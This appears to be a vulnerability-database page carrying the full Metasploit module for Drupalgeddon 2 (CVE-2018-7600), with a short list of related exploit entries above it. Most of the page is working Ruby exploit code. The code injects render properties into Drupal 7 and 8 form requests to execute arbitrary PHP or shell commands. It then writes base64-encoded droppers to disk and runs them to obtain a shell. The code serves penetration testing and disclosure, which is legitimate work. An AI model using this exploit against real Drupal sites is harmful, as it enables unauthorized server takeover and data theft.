| Reporter | Title | Published | Views | Family All 176 |
|---|---|---|---|---|
| Security Bulletin: API Connect Developer Portal is affected by Drupal vulnerability (CVE-2018-7600) | 15 Jun 201807:09 | – | ibm | |
| Exploit for Improper Input Validation in Drupal | 31 Aug 202022:55 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 30 Mar 201808:52 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 8 Dec 202503:31 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 30 May 202610:03 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 14 Apr 201818:26 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 30 Mar 201814:23 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 12 Apr 201822:53 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 21 Sep 202522:24 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 13 Apr 201810:04 | – | githubexploit |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Drupal
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
'Description' => %q{
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Vulnerability discovery
'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-7600'],
['URL', 'https://www.drupal.org/sa-core-2018-002'],
['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600']
],
'DisclosureDate' => '2018-03-28',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
],
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Rex::Version.new('7'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Rex::Version.new('7'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Rex::Version.new('7'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Rex::Version.new('7'),
'Type' => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Rex::Version.new('8'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Rex::Version.new('8'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Rex::Version.new('8'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Rex::Version.new('8'),
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => [],
'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
))
register_options([
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def check
checkcode = CheckCode::Unknown
@version = target['Version'] || drupal_version
unless @version
vprint_error('Could not determine Drupal version to target')
return checkcode
end
vprint_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
changelog = drupal_changelog(@version)
unless changelog
vprint_error('Could not determine Drupal patch level')
return checkcode
end
case drupal_patch(changelog, 'SA-CORE-2018-002')
when nil
vprint_warning('CHANGELOG.txt no longer contains patch level')
when true
vprint_warning('Drupal appears patched in CHANGELOG.txt')
checkcode = CheckCode::Safe
when false
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
token = rand_str
res = execute_command(token, func: 'printf')
return checkcode unless res
if res.body.start_with?(token)
vprint_good('Drupal is vulnerable to code execution')
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
unless @version
print_warning('Targeting Drupal 7.x as a fallback')
@version = Rex::Version.new('7')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target['Type']
when :php_memory
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
when :php_dropper, :linux_dropper
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{rand_str}.php"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
end
def dropper_exec
php_file = "#{rand_str}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Try to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
vprint_status("Executing with #{func}(): #{cmd}")
res =
case @version.to_s
when /^7\b/
exploit_drupal7(func, cmd)
when /^8\b/
exploit_drupal8(func, cmd)
end
return unless res
if res.code == 200
print_line(res.body) if datastore['DUMP_OUTPUT']
else
print_error("Unexpected reply: #{res.inspect}")
end
res
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)
return res unless res && res.code == 200
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
return res unless form_build_id
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id.value}"
}
vars_post = {
'form_build_id' => form_build_id.value
}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'user/register')
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def rand_str
Rex::Text.rand_text_alphanumeric(8..42)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation